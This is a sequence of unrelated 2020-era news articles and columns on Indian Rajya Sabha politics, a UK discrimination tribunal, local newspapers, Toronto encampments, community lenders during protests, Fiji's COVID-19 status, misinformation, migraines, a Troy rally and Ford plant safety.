SP Muddahanumegowda who sacrificed his Tumkur Lok Sabha constituency for HD Deve Gowda in the 2019 parliamentary polls too was trying to get the Rajya Sabha ticket. Sources say he was earlier promised to be sent to the upper house, but the disappointing Lok Sabha election results completely changed the scenario, with the Congress and JD(S) getting just 1 seat each.

Kharge too lost last year's Lok Sabha polls. In fact, Prime Minister Narendra Modi had openly said in Parliament that the BJP will defeat him. The party succeeded by fielding Congress rebel Umesh Jadhav against Kharge. But now he looks set to enter the upper house and take on the ruling party.

Top Congress sources also say that Mallikarjun Kharge will be made leader of opposition in the Rajya Sabha. Currently Ghulam Nabi Azad holds that position and his tenure has come to an end. Sources say this time he will not be given a Rajya Sabha ticket and the Congress wants a strong contender to lead the opposition in the upper house.

Sonia Gandhi has reportedly requested Deve Gowda to contest the upcoming Rajya Sabha polls and promised votes of Congress MLAs to get him elected. Sources from the both the Congress and JD(S) say that the Congress chief promised support only if Deve Gowda contests. The JD(S) national president, who sacrificed his Lok Sabha seat Hassan for grandson Prajwal Revanna, was forced to contest from the Tumkur constituency in 2019. But he lost the polls.

The Rajya Sabha terms of Congresss Rajiv Gowda and BK Hariprasad, the BJPs Prabhakar Kore and JD(S)s Kupendra Reddy have ended. The Congress currently has 67 MLAs and the JD(S) has 34. A total of 48 votes are required to win a seat. The Congress can easily elect one member, but cannot send two candidates to the Rajya Sabha. The JD(S) needs 14 more votes. Keeping the numbers game in mind, the Congress has pitched the idea of backing Gowda.

HD Deve Gowda has won 13 direct elections since 1962. That year he entered the Karnataka assembly as an independent MLA from Holenarasipura constituency. He was elected from the same seat to the assembly for six consecutive terms from 1962 to 1989. Since contesting through the 'backdoor' is against Gowdas policy, he has so far refused to enter the Rajya Sabha elections.

However, his son HD Kumaraswamy and other JD(S) leaders have reportedly suggested to him to take up the Congresss offer. According to them, it will boost the JD(S) cadre and the party at the national level. And to convince him, all JD(S) law makers, including its lone MP Prajwal Revanna, and other party leaders gathered at Friday's meet.

According to sources, Sonias decision has left former chief minister Siddaramaiah and his associates in a spot of bother. Siddaramaiah is reportedly completely against the idea of sending Gowda to the Rajya Sabha. Sources say, he told the party high command that Gowda and his family always use the Congress to gain power and abuse them in public later.

After failing to get the majority mark in the 2018 Karnataka assembly elections, Siddaramaiah had to keep quiet when the Congress supported the JD(S) to form the government. He never wanted to back Deve Gowda and HD Kumaraswamy. However, the high command decided to keep the BJP out of power and, hence, sidelined Siddaramaiah and supported Kumaraswamy. When the coalition government collapsed, the Gowdas blamed Siddaramaiah and the Congress openly. Now, Siddaramaiah is using this as an example to persuade Sonia Gandhi, sources say.

On the other hand, Karnataka Pradesh Congress Committee chief DK Shivakumar is reportedly trying to convince Deve Gowda to contest the elections. Recently, Shivakumar visited Gowdas residence to wish him on his 87th birthday. During the visit, the Congress leader requested him to contest for the Rajya Sabha and promised him support.

Shivakumar is hoping to become the chief minister of Karnataka in the next elections, say sources, and he may need JD(S) support to claim power. This is the reason he has made peace with the Gowdas and is staying close to them. The Congress troubleshooter had an enmity with the Gowdas for decades. But he managed to clean up the wounds while forming the coalition government.
Pastor wins discrimination tribunal after being targeted at work for homosexuality beliefs

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Former disco music writer-turned-Christian pastor in England, who says he was shunned at work after making what a coworker believes was a homophobic comment, has won a discrimination claim in an employment tribunal.

London Central Tribunal Centre Judge Andrew James ruled in favor of 62-year-old Rev. George Hargreaves and found that the pastor had been unfairly targeted by a former colleague for stating his religious beliefs on homosexuality, according to British media reports.

Hargreaves currently works as a concierge for a homeless charity in South Kensington called Evolve Housing + Support. He wrote the hit 1980s song So Macho before being ordained in 1990 as a Pentecostal pastor. He also found the right-wing political party the Christian Party in 2004.

According to The Daily Mail, Hargreaves filed a complaint after a former colleague, Elizabeth Akano, who is in her 20s, started ignoring him around January 2019 and even told him that she no longer respected him because of his views on homosexuality.

The tribunal was told Akano and Hargreaves had a discussion at work one day in which Akano made a comment to the effect that people are born gay. Hargreaves replied something to the effect that pedophiles make the same argument, that they are born that way.

He added that even if people are born with a condition, that does not put it beyond God's ability to change or heal it.

He claimed that the coworker created a humiliating environment for him as she allegedly purposefully ignored him.

In response, Akano also filed a complaint with the employer, accusing the pastor of homophobia. Neither of the complaints was upheld by the employer. However, Hargreaves appealed his complaint to the employment tribunal.

Siding with Hargreaves, Judge James contended that the pastor suffered harassment and discrimination as a result of his religious beliefs because not only was he ignored by his coworker but also questioned by his area manager.

As to whether her conduct was related to religious belief, we find that it was. It arose out of Ms. Akano's conversation with the claimant in the middle of January 2019, the ruling reads, according to The Telegraph. She was clearly upset by the claimant's comment which appeared to make a link between pedophiles and the gay community.

The claimant is correct to say that it is not illegal to use those words together, in the sense that it is not a criminal offense, the ruling continues. Many people however, whatever their sexual orientation, who do not share the claimant's deeply held and genuine religious beliefs, would find the use of those words in that context to be offensive.

According to the newspaper, the tribunal also found that Akano racially discriminated against Hargreaves, even though they are both black, by stating: You are one of those black men who like white women.

According to The Telegraph, compensation for Hargreaves will be decided at a later remedy hearing.

We are still considering the judgement but were pleased to see that the Tribunal found in our favor in relation to a large proportion of the specific allegations, but recognize that there were findings against us on a small number of discrete points, mostly relating to an ex-employee, a spokesperson for Evolve Housing + Support said in a statement to The Telegraph. We will be considering internally what lessons can be learned.
I was disappointed to see that the small Texas daily where I first served as publisher 38 years ago has closed. The newspaper served the community for 120 years, two weeks and four days.

Around the same time, The Forum of Fargo-Moorhead and other Forum Communications publications announced a reduction of print days but with daily content delivery via their website and other digital delivery means.

I am saddened for communities such as Mineral Wells, Texas, who lose their local newspaper. Studies have shown that taxes increase at a faster rate in communities that lack a newspaper versus communities with a newspaper, due to the lack of public scrutiny and accountability of local officials.

News outlets may cite the coronavirus as the cause of death, but like a human who succumbs to the virus, there are generally underlying conditions. The underlying conditions vary from one newspaper to the other. Some companies either failed to make the digital transition or failed to make it soon enough.

All news outlets, regardless of platform, be it print, radio, television, or even web-based, have suffered as the retail sector suffers. When retailers like Sears, Kmart and Herberger's cease to operate, a significant piece of the advertising base is lost.

Another factor has been readers expectation of free news content delivered online. Dont get me wrong, I like free as much as the next person; but the fact is, producing local content takes money. We employ about 18 people in our newsroom including content producers, editors and photographers.

While most news operations distribute some content at no charge, a subscription fee is required to receive all of the content and at rates that vary based on the method of delivery. The most expensive delivery method -- a printed copy of the newspaper delivered to your mailbox, porch or driveway -- averages only about $1.50 a day.

Delivery by electronic means averages about half that. Im not aware of any product you may have delivered daily to your home at such little cost.

I am proud of our company, Lee Enterprises, who many years ago began making the digital transformation. While the company has invested in the technology, our staff has become adept at selling digital solutions that, when combined with our print audience, makes The Bismarck Tribune the No. 1 source of local news in central and western North Dakota.

Thanks to our website, app, Facebook page and print subscribers, there are more readers of our content today than at any point in our 147-year history.

Prior to the COVID-19 outbreak, our website totaled about 6 million page views per month. In both April and May, that rose to over 7 million. People want our content now more than ever, and we are committed to deliver it every day of the week. To do that we need advertisers who want to hit the maximum number of shoppers, but also advertisers who want to target a very specific audience, which can only be done using digital products.

Just yesterday I was on a call with an organization seeking digital solutions. At the end of the call we were told that a couple of the solutions we offered they had never seen or heard of before. I love it when that happens. We are not your parents' Bismarck Tribune.

We also need readers who are willing to pay for locally generated content. While I understand the allure of free, the old axiom of you get what you pay for is also true of news.

While national and international news tend to dominate most conversations these days, it remains true that what happens in your state, city and county has far more impact on your life day in and day out.

What goes on at the state Capitol, city hall, county courthouse, school district office, parks department and so on will have more bearing on the cost of living, opportunities for employment, and the communitys livability than anything that happens in Washington; less entertaining, perhaps, but far more important.

Gary Adkisson is publisher of The Bismarck Tribune.

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Residents in the Bathurst Quay area are calling on the provincial government to fund initiatives to help homeless people living in encampments in their community.

The Bathurst Quay Neighbourhood Association (BQNA), which represents people living in 18 condo, rental, co-op, and community housing buildings at the foot of Bathurst Street, wants to know why the provincial government has failed to leverage $100 million in additional funding from the federal National Housing Strategy and roll out the Canada-Ontario Housing Benefit as announced by (Ontarios) Housing Minister Stephen Clark in December. The group is also calling on the Province to provide emergency funding to the City of Toronto to rapidly scale up emergency measures to provide safe housing to people who are homeless.

Joan Prowse, chair of the Bathurst Quay Neighbourhood Association, said since the onset of the COVID-19 pandemic, community members have noticed an increase in people living rough in local parks and felt something should be done to help these individuals.

With the COVID-19 crisis, we noticed some tents popping up in parks. People were concerned and wanted more information, she said.

The matter came up during the groups monthly (online) meeting, which local politicians from all three levels of government attended.

Prowse said it was then the BQNA learned about federal funding the Ontario government had yet to leverage for safe housing for people experiencing homelessness.

The COVID-19 crisis has brought to light the problem of people without homes, she said, adding the BQNA role is that of a bridge builder.

The solution is housing. If you have a home so many problems disappear.

Spadina-Fort York NDP MPP Chris Glover said theres no better time than now for the Ford government to put forward the funding it received from the federal government to help provide homes to people without them.

And while the province is providing $148 million to municipal partners that administer social services to Ontarios most vulnerable people during the COVID-19 crisis, Glover said its essential funds earmarked for housing and supports for the provinces homeless go directly to where theyre most needed.

Theyre reneging on their provincial obligations, charged Glover, who is also advocating for homelessness to be declared a state of emergency in Ontario, which he said would mandate funding be set aside to address this long-standing issue.

Housing should be a fundamental right, he said.

Its not fair to the community to have people living in encampments in their parks. The solution is to provide permanent housing.

Its been at least two months since people experiencing homelessness started setting up makeshift camps in green spaces at the foot of Bathurst Street. Aside from the encampment at Little Norway Park, people have also been living rough at Stadium Road Park North and near the silos next to Ireland Park.

Area resident Jen Evans has seen first-hand the challenges homeless people are facing during the COVID-19 crisis.

Its been a state of panic the last couple months, said Evans, a board member with Seeds of Hope, a privately funded, volunteer-run organization, which serves street-involved and low-income people at a crossroads in their lives. The downtown Toronto-based charity is one of few organizations that have remained open during the COVID-19 pandemic.

She said the public health crisis has resulted in many avoiding the shelter system.

Theyre terrified of the shelters. Every single shelter has had an outbreak, said Evans, who said Seeds of Hope has collected a few hundred tents for homeless people in the last three months.

People dont feel safe.  they have no other place to go, even the TTC is unsafe.

Evans said word has gotten around that people living in encampments are being offered housing so some individuals experiencing homelessness are hoping they might get lucky and be offered a safe place to live, even if its a temporary one.

if we dont get this money from the province, were just going to see this problem continue, she said.

We need to build the right kind of housing and enough of it.

Joanna Lavoie is a breaking news reporter for toronto.com.
Red Harris, left, the owner of Reds The One And Only BBQ, at the restaurant in Ferguson, Mo., June 2, 2020. As demonstrations protesting racism and police violence continued in the city, a dozen employees of a non-bank community lending organization called Justine Petersen stood vigil outside Harriss business to protect it from looting and damage. (Vanessa Charlot/The New York Times)

Emily Flitter

On Tuesday evening in Ferguson, Missouri, a dozen people formed a human chain around Reds The One and Only BBQ, a restaurant. Vandals had smashed other storefronts in the area amid protests over the killing of George Floyd in police custody, but Reds was still standing.

By forming a protective line around the restaurant, the group was hoping to discourage any further violence. For two hours, members of the chain kept vigil. But they were neither hired guards, nor friends or relatives of the restaurants owner, Red Harris. They were employees of Harris lender, a community organization called Justine Petersen.

Galen Gondolfi, a senior loan counselor at Justine Petersen, said the gesture was largely symbolic because his group was not set up to provide physical protection. But nonetheless, he said, it was a way to show clients its commitment literally and figuratively.

Groups such as Justine Petersen, which mostly lend to minority-owned businesses across the United States, are not regular banks. They are called Community Development Financial Institutions, and they use a combination of government funds and private donations to seed businesses that banks wont deal with because they view their owners as too poor and too disconnected from the financial system to qualify for standard loans.

Many CDFIs, which first came into existence in the early 1970s, evolved out of groups that were formed to help minorities recover from attacks  like the 1921 massacre of black Americans in Tulsa, Oklahoma  that have occurred regularly throughout U.S. history. More recently, during the coronavirus pandemic, such groups have been the go-to lenders for minority business owners who could not find a bank to help them tap a federal government aid program.

CDFIs, which are often nonprofits, offer their borrowers far more than just cash. They also walk them through the myriad paperwork required to get their businesses up and running, offer them management training and sometimes even provide spaces from which to launch.

CDFIs have helped revive poor neighborhoods, replacing empty storefronts with active commercial spaces, increasing local economic activity, building residents wealth and reducing crime. Because they make a wide variety of loans, including housing loans, they amass deep knowledge of their neighborhoods and can tailor their activities to the areas needs.

Over the past 35 years, they have made loans that helped start more than 400,000 small businesses around the country, according to the Opportunity Finance Network, the trade group that represents them. Around 58% of their borrowers are minorities, according to the trade groups data. Their lending, which is a mix of small business loans and loans to housing and community facility projects, has totaled more than $74 billion over that time.

In Minneapolis, three organizations that focus on minority businesses have helped transform the Midtown neighborhood from a depressed area with few active businesses to a trendy spot where small businesses flourish and city residents flock. The charitable aspect of the groups missions has helped keep the ills of gentrification at bay.

But the current violence is threatening that progress.

Minneapolis is where the bulk of the destruction has occurred so far, and local officials said it was the result of premeditated attacks on black- and Hispanic-owned businesses.

Jeff Hayden, a state senator whose district includes the Midtown neighborhood, said Minnesota officials found evidence that fire-starting materials had been stashed in the neighborhood before recent planned protests and that businesses had been marked for attack.

Based on what the governor is able to share with us and based on what we see on the ground, there was definitely a coordinated attack, Hayden said in an interview Monday. It was clear that they were going after ethnic businesses.

Rolando Borja, whose firm, Integrated Staffing Solutions, helps connect Minneapolis-area companies with workers who have often just arrived from Puerto Rico or from other countries, was relieved when, at first, his storefront in Midtown was spared. After seeing footage on the nightly news of nearby windows breaking and buildings burning, Borja ventured out Wednesday last week to check on his space and found it covered in graffiti but otherwise intact. At 5 the next morning, however, an employee called him in tears: His building had been burned to the ground.

Meda, the CDFI that lent Borja money when he started out 10 years ago and helped him get aid under the federal governments Paycheck Protection Program when the pandemic forced him to shut down this year, is where he will turn to again to rebuild.

Meda, for me, has been a partner through the whole life of my business, helping me out to have access to capital, access to legal advice, business consulting, everything, Borja said.

Alfredo Martel, chief executive of Meda, said his staff had been walking the streets assessing the damage. We are at this point like economic first responders. But, he added, Were not cops; were not firemen or EMTs.

c.2020 The New York Times Company
Source: Xinhua| 2020-06-05 13:10:26|Editor: huaxia

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SUVA, June 5 (Xinhua) -- Fiji is now free of COVID-19 as the remaining three COVID-19 patients were cleared on Friday, said a Fijian minister.

Announcing it on Friday, Fiji's health minister Ifereimi Waqainabete said that they will continue to prepare and work as hard as they can to avoid any other waves of the deadly virus.

He warned that Fijians should not let their guard down and health staff will remain vigilant.

"All the work that we are doing around COVID-19 continues and we want to reassure the nation that we will never drop our guard and we continue to be vigilant as ever as possible so that we can be on top of this."

The minister said that all the doctors and nurses that were looking after the last three patients will now go through a period of self-isolation and guarantee.

More than 2,000 COVID-19 tests have been done in Fiji and so far 92 percent of the island nation's population have been screened in the fever clinics. About 100 people are still in quarantine facilities.

Waqainabete said that the contact tracing app will help them in contact tracing as there were times that the health officials had difficulties in contact tracing.

Fiji's Prime Minister Voreqe Bainimarama also confirmed this, saying that there have been no COVID-19 deaths in Fiji and the nation has recorded a 100 percent recovery rate through hard work and affirmation of science.

Fiji had a total of 18 COVID-19 patients since March 19 when its first COVID-19 case was confirmed.

The restrictions around COVID-19 such as the social gathering restrictions of 20 or less people and the nationwide curfew from 10:00 p.m.to 5:00 a.m. will remain in Fiji. Enditem
Fake news is as much of a virus as COVID-19--but deadlier in different ways, as Americans are about to find out.

And if the cure for coronavirus is elusive, scientists will have an impossible time finding any cure for fake news with the high-tech cat out of the bag, for good.

Those obvious Russian-linked Facebook ads of 2016 are already technological dinosaurs. Today, with Americans in the throes of protests and riots, its all about controlling viral networks.

And the average Americans lie-detecting ability is most likely sub-standard.

Social media giants are in a full-on war with fake news, and apparently losing, on multiple fonts from fake cures for the coronavirus to anti-vaccination propaganda and 5G conspiracy theories.

And now, a new front has been opened, and its likely more dangerous than the pandemic itself.

As protests continued for a tenth night across the U.S. cities, with demonstrators peacefully gathering to protest police brutality in the aftermath of the death of George Floyd, the media space is being bombarded with news--much of it completely false.

In one of the most recent incidents (which accrue by the second), Twitter has removed an account deemed to have incited violence and claiming to belong to a national Antifa organization. The account, which included the Antifa logo, posted an alert reading Tonights the night, comrades.

President Trump pledged last week to designate Antifa a terrorist organization, alleging that the group is behind the looting and arson in dozens of American cities.

The truth is somewhat different, though. The account Twitter removed claiming to be an Antifa group was actually created by the white supremacist group Identity Evropa.

Other misinformation and misleading claims have spread like digital wildfire across Twitter.

Two hashtags that trended worldwide falsely claimed that there was a "cover-up" or a "blackout" of protests in Washington, D.C, appearing to insinuate that protesters have been silenced by an internet blackout.

Despite the lack of evidence of a blackout, the hashtag garnered nearly 800,000 tweets from 35,000 unique accounts in a matter of hours. Panicky messages about a blackout also spread on Facebook, Reddit, and later on Instagram, as well.

Twitter said it suspended several hundred accounts and is investigating the viral spread of the hashtag, which it said was boosted by "hundreds of spammy accounts," with zero or few followers.

Also, it appears that viral text messages of screenshots of doctored tweets have circulated throughout the country. Some of the false text messages claim that extremist groups are plotting to move into residential areas this week.

A similar text message scam also surfaced a few months ago regarding the coronavirus, which US officials blamed on Chinese bots.

As far as real people and not bots are concerned, Florida Congressman Matt Gaetz had his tweet hidden due to a breach of rules against the glorification of violence. Congressman Gaetz asked, Now that we clearly see Antifa as terrorists, can we hunt them down like we do those in the Middle East?

And now, Twitter is monitoring more closely President Trumps activity on the platform, recently removing an account that included the hashtag #QAnon, that the president retweeted a couple of days earlier.

Despite what many may assume, the term fake news wasnt really coined by President Trump. In fact, it pre-dates the internet itself by a long shot.



A century ago, media outlets in the U.S. were reporting fake news about products paid for by patent medicine pushers: snake oil salesmen, in other words.

And it goes back even farther than this, all the way to the Roman Empire, a time when information traveled at a much less dangerous pace.

But today, all it takes in a single moment (and a viral network) to incite violence--or, indeed, to commit a war crime. Thats how it would have been in the 1990s, when media was a crucial tool in the wars in ex-Yugoslavia and Rwanda. There are quite a few instances in which the media could have provoked war crimes of reporting in which lies led to killing someone just because they saw something on TV or read it in the paper. Quite a few journalists were tried and sentenced for war crimes.

Fast forward to 2020 and criminal inciting to violence has been diluted because of its viral nature, and no one will be held responsible.

By Michael Kern for Safehaven.com

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About a year ago, I had a really bad migraine that I just couldn't shift. I'd had migraines before but, over the course of two weeks, this one kept coming back.



As a neuroscientist, whose research has covered what happens to the brain during migraine, I was determined to get to the root of the problem. I tried all sorts: I had my eyes tested, and I even went to the dentist to make sure it wasn't something going on with my teeth and causing a headache.



Eventually, I identified the culprit: stripes. It turned out that around the time the migraine had started, my wife had bought lots of stripy tops, some with tightly-packed black and white lines, which she'd taken to wearing. (We'll come back to why this triggered the migraine later.)



It is estimated that six million people in the UK suffer migraines. It seems to affect one in five women and one in 15 men, according to the NHS. (The higher rate in women is most likely due to hormones involved in the menstrual cycle.)



A migraine is not 'just' a bad headache. And not every really painful headache is a migraine.



While headaches can have different underlying causes (such as dehydration or eye strain), fundamentally they are triggered when blood vessels in the brain get bigger (dilate). This process, called vasodilation, is to bring more blood quickly to areas of the brain it thinks are in need. This stretches the blood vessel walls beyond comfortable limits, setting off their pain receptors.



While this blood vessel dilation happens in migraine, too, it is only part of the process. Migraine is a whole-body experience involving a complex pattern of changes in the brain that means it can also involve nausea, vomiting, appetite changes, clumsiness, visual disturbances, sensitivity to light and fatigue.



Early warnings of a migraine



The first phase of a migraine is the 'prodrome' phase  a warning of what's to come. Here, there can be subtle behavioural changes which can occur a couple of hours or even days before the aura (a sensory disturbance that accompanies some migraines) and the pain of migraine starts properly.



You might yawn more, be less alert, have cravings or be hungrier than usual. Walking into shops with really bright lighting might unsettle you to the point of distraction.



Many sufferers are quite bad at spotting this stage. Recent work by Sanitaria Hospital in Madrid suggests that only a third of patients are good predictors, in that they could spot an impending migraine more than 50 per cent of the time.



It takes a certain amount of self-awareness to register this first stage, but it could help identify what your triggers for migraine are  some of which you'll be able to control, some of which you may not.



It could also help to make sure that medication to lessen the impact of an attack is taken at the earliest opportunity.



Why you may see flashing lights



After the prodrome stage, comes the aura  commonly, seeing flashes of light or blindspots in your vision. Most people report that these changes in perception come on gradually, last between five and 20 minutes, and are undetectable after an hour. (If you experience aura for the first time, it is worth talking to a doctor to rule out anything more serious, and certainly if the aura lasts for more than an hour).



In migraine, there is a wave of excitation across the brain, in which many nerve cells become active in a coordinated way.



It is thought that the 'light' of aura is created because the brain area that normally decodes signals from the retina (the light-sensitive layer at the back of the eye) is activated in this wave, too, so you end up detecting 'light' that isn't really there.



Alternatively, you might feel things that aren't really there, such as a tingling in your skin, or you might smell something, or hear dripping taps, or taste something that isn't there (particularly a metallic taste).



This is all down to the areas thought to be wrongly activated in the wave of excited nerve cells that takes over the brain during migraine. Some don't experience migraine aura at all; they go straight to the 'pain' phase.



It is not clear why some people experience aura and others don't. One theory is that while the same wave of activity is experienced, not all brains translate the brain cell activation into imagined sensation  something that has been labelled 'cortical ineloquence' by researchers.



WHY IT'S SO EXCRUCIATING



The ubiquitous throbbing pain that migraineurs describe is often centred in the forehead towards the temple.



This is thought to be due to a concept called referred pain, where the unpleasant sensation is felt at a site that's distant from the underlying cause  a result of the brain mixing up messages from various nerves all around the body that will converge at a single point.



It is the same principle that explains why pain down the left arm or jaw can be a sign of a heart attack, because the sensory nerves from your heart are bound up with the pathway from your arm and jaw.



In migraine, where you feel the pain depends on your anatomy.



So what kicks it off? After the wave of excitation (the surge of activity through the brain's nerve cells) comes a sudden depression, where your nerve cells effectively go to sleep.



Nerve cells activate through the movement of charged particles, such as sodium and potassium. Normally, nerve cells are really particular about what comes in and goes out; but the fast and furious wave of brain activity in migraine means everything ends up in the wrong place.



Too much potassium ends up trapped on the outside of the cell and sodium gets trapped on the inside, when it should be the opposite. This makes it impossible for the cells to pass on any signals at all  so everything stops. Then, the excess, out-of-place potassium acts directly on the tiny branches of the arteries in the area, restricting blood flow, and also activates pain receptors in the blood vessels.



Your brain then arranges a hefty inflammatory response to try to induce vasodilation to regulate blood flow again.



Although the nerves only 'sleep' for a few minutes, it then takes another 30 minutes for normal activity to be recovered.



And the excruciating pain triggered can take anything from four to 72 hours to ease.



THE TROUBLE WITH STRIPY TOPS 



But why do a migraineur's nerve cells go bananas in the first place? We have some tantalising evidence  and it lies in the visual cortex.



This is an area at the back of the brain that processes information from the eyes. In particular, people who experience migraine have a much more excitable area of the visual cortex known as V1.



If we just had V1 to process vision with, we would see the world as a collection of lines. This is because the millions of nerve cells here only fire in response to lines. (Other parts of the visual cortex, imaginatively called V2, V3, V4 and V5, are used to build up the picture, detect edges and movement and overall contrast.)

Source: dailymail









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Two days after his arrest, Foster was recorded on a phone call from Cook County Jail telling an acquaintance that hed been carrying the gun for protection during the ongoing unrest in the city and had to get rid of it during the chase, according to the complaint.
TROY  The city announced Friday it is closing off the streets surrounding the police station and the administration/detective building from Saturday afternoon through Sunday evening in preparation for Sunday afternoon rally in Riverfront Park.

Protesters briefly closed Sixth Avenue between the two buildings Friday afternoon by laying down in the street. Before that they had been standing outside the administration/detective building waving Black Lives Matter signs at the police station across the street.

Mayor Patrick Madden had promised the City Council Thursday night details for preparations by city departments for the Troy Rally for Black Lives at 2 p.m. Sunday at the north end of Riverfront Park by River and Front streets. The rally is sponsored by Justice For Dahmeek, AYA Rising Project, the YWCA of the Greater Capital Region and All of Us.

The release from the mayors office came without any comments from the mayor. Madden said later he had nothing more to add to the statement.

Early Friday evening, Watervliet Mayor Charles Patricelli declared a state of emergency for Watervliet. There will be a curfew from 9 p.m. Sunday until 6 a.m. Monday that will run for five days unless canceled. Watervliet police are scheduled to assist the Troy police. Watervliet shares the Congress Street Bridge with Troy and is easily accessible from Troy via the Green Island Bridge.

Troy police have been preparing all week for the Sunday rally. Officers were on the roof of the police state at 55 State St. Wednesday when it was believed a rally might take place at Riverfront Park. But it turned out that a leaked copy of a draft announcement for Sunday's event led to that.

The city is aware of rumors and misinformation circulating on social media. The public is reminded to scrutinize what they find or read online posted by unverified sources before sharing with others, the city said in its Friday announcement.

Troy police, Department of General Services, and City officials are assisting in implementing precautionary measures to ensure the safety of participants, local businesses, and pedestrians, the release stated.

The city warned that additional downtown streets and alleys may be closed depending on the situation. CDTA is changing some downtown bus routes Sunday morning.

The city release detailed that the streets around the police station at 55 State St. and the administrative/detective offices at 1600 Sixth Ave. would be closed. The area shut is Sixth Avenue between Congress Street and Broadway and State Street between Fifth Avenue and Seventh Avenue.

The city asked rally participants to wear masks and social distance to reduce exposure to coronavirus.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

The rally is part of the outgrowth of protests arising from the death of George Floyd in Minneapolis during an encounter with police on May 25. Four Minneapolis police officers are facing murder or related charges in Floyds death.

The world has been united in denouncing George Floyds death and demanding justice. The rally on Sunday is an opportunity to strengthen that call along with furthering a needed discussion on justice, equality and opportunity, Rensselaer County Executive Steve McLaughlin said Friday.

Rallies have been held in Albany, Schenectady and Glens Falls. Two rallies in Albany were followed by violence at night outside the South Station on Morton Avenue last Saturday and police headquarters on Henry Johnson Boulevard on Monday.

Sean Collins of the Troy Area Labor Council issued a statement Friday advising Madden and the police department to listen to the community. Collins, said, While we hope the rally Sunday will remain peaceful, we believe it is the responsibility of the Mayor Patrick Madden, Chief Brian Owens, and the entire Troy Police Department to deescalate the situation.

Officer Nick Laviano, president of the Troy Police Benevolent Association, said in a Facebook posting that the citys police force would protect citizens constitutional rights to peacefully protest. Rank-and-file officers on street near the Friday demonstration echoed that.

This Sunday there will be a march for justice here in the city of Troy. We will make sure we assist the group in protesting peacefully and making sure their voices are heard. We will make sure that they feel safe and that their constitutional rights are protected, Laviano said.
After a Ford Kentucky Truck Plant (KTP) worker in Louisville tested positive for COVID-19, management and the United Auto Workers union withheld the information for six days from other workers at the factory and the nearby Louisville Assembly Plant.

Ford management, with the backing of the UAW, sent workers back into the Louisville plants and others around the country on May 18, claiming new safety protocols would protect workers and their families from the deadly disease. KTP has 8,500 workers that produce some of Fords most profitable vehicles, the F-250 through F-550 heavy duty pickup trucks. There are 3,900 hourly workers at the Louisville Assembly Plant (LAP), which produces the Ford Escape.

Just hours before the local media was set to report about the positive case at the plant, UAW Local 862 President Todd Dunn released a statement about the sick worker, contemptuously lecturing workers, It will happen.

Kentucky Truck Plant (Source: Ford)

Outraged workers took to social media to denounce management and Todd and other union officials for withholding information for nearly a week so that there would be no disruption to production. In an effort at damage control, company and union officials claimed they did not release the information out of privacy concerns for the ill worker.

One worker declared, This cannot continue, the hiding of information and such from the members. We have a right to know and we should be informed ASAP.

Another dismissed the empty comments about staying safe from union officials. Please be safe! says the union letting our company force us back to work during a global pandemic, then only telling us SIX DAYS LATER

Another post, which said, Shut it back down, received widespread support.

Ford and the other automakers are determined to run their operations at full tilt no matter what the cost to the lives of workers and their families. Corporate management is relying on the UAW to prevent another series of wildcat strikes over the spread of the pandemic, which forced the shutdown of the North American auto industry in mid-March. Last month, Ford was forced to shut operations in Chicago, Dearborn, Michigan and Kansas City after workers tested positiveand Dearborn workers were on the verge of walking out.

Last month, the New York Times the reopening of the plants would be critical to the automakers, their dealers and their suppliers, which have lost billions of dollars in sales in recent weeks and have been forced to take on debt to ride out the pandemic. Ford and other automakers have floated billions in bonds to keep their operations going and have to sweat it out of the backs of the working class to pay their debt.

According Fords analysis the automaker had estimated losses of $10 billion due to the pandemic shutdown. Despite this, as of April 24, the company still had $35 billion in cash reserves, due largely to the massive wage and benefit concessions the UAW has granted the automakers over the last decade. Some of the reserves are being used to pay Fords parts suppliers in advance to shore up the supply chain to insure their own production.

In comments to the WSWS, Louisville Assembly Plant workers described the conditions in the plant. People are having panic attacks from wearing the masks and not being able to breathe, said one worker.

Another commented on the wholly inadequate safety measures taken by Ford and the UAW, saying the Safety masks that have Ford's logo stamped on them are cheap. They won't let people wear N95 or any other better masks. People are getting headaches and nausea and it's not even hot yet. People in pre-delivery are breathing exhaust fumes, adding to problems.

On the lack ventilation the worker said, "Ford LAP has bad ventilation which was supposed to have been fixed in 2015 when OSHA was called in. But they're paid off and nothing improved.

The worker described the incestuous relationship between the UAW and management. The union and company know about the heat. KTP has a heat stress system called BIGFOOT, installed in 1999 to help with heat stress. But it can't keep up with global warming. Louisville is rated 4th in nation for bad air quality, and coupled with the coronavirus, we're dead ducks.

One lady who we work with is on quarantine but how is she the only one when we all have been near her? People are getting quarantined and the company isn't notifying everyone that comes in contact with them.

The worker also dismissed claims by Ford and UAW that workstations are being deep cleaned. Since we've been back, I have not seen one cleaning person anywhere. They're paying some contract workers extra hours to come in early and clean work areas, but these people are not qualified to sanitize. They claim they are cleaning between shifts, but how? Do the math: Two 10.7-hour shifts add up to 21.4 hours. That only leaves 2.6 hours in a day to clean these big facilities, she said, referring to the two plants that spread over 9 million square feet.

Referring to the UAW, the worker said, Todd Dunn never enforces safety protocols, which is why there are so many injuries and deaths like that of Ivan Bridgewater [in 2018]. No union officials have been seen since weve been back to work.

Workers at Fiat Chryslers Jefferson North plant in Detroit are also outraged over hot and unsafe conditions in the plant with many taking sick, personal days or Family Medical Leave Act (FMLA) days when temperatures outside reached 90 degrees. Earlier this week, one worker reported, there were 410 workers who did not show up to work, out of a shift of 1,700 workers. The company is forcing temporary part-time employees (TPTs) work 60 hours a week to make up for absent workers.

They were only able to run 6.5 hours and 200 Jeeps, instead of the normal 600 vehicles. Its hot, especially with the masks on, so you drink a lot of water. But then you cant get relieved to go to the bathroom. They are rotating TPTs throughout the plant, from the engine line to the trim line and others. That makes it even more dangerous because they are not cleaning each station they go to, its not safe.

There is growing anger throughout Louisville over the criminal disregard for workers health. A UPS worker has already died at the package delivery companys giant World Port facility and workers threatened to strike to demand better protections at the GE Appliance Park. The protection of workers cannot be left in the hands of the unions and OSHAwhich are beholden to corporate interests. That is why rank-and-file safety committees must be elected in every factory and workplace to oversee health and safety, demand universal testing, immediate high quality and free medical treatment for sick workers and full pay for all workers that are forced to miss work.

The fight to protect workers lives against Trumps homicidal back-to-work policy is increasing merging with the fight against police violence and Trumps unconstitutional efforts to deploy the US military to crush protests and illegalize dissent. These same measures will be used against workers in the factories who refuse to sacrifice their lives for corporate profit.

A Louisville worker spoke out against the murder of David McAtee, a restaurant owner who was shot and killed by police and National Guard troops opened fire and protesters last Monday. "I think it's horrible what happened. I'm wondering why police would shoot into a crowd of people. They said none of the officers were wearing their body cameras. That just tells us they had ill intentions.

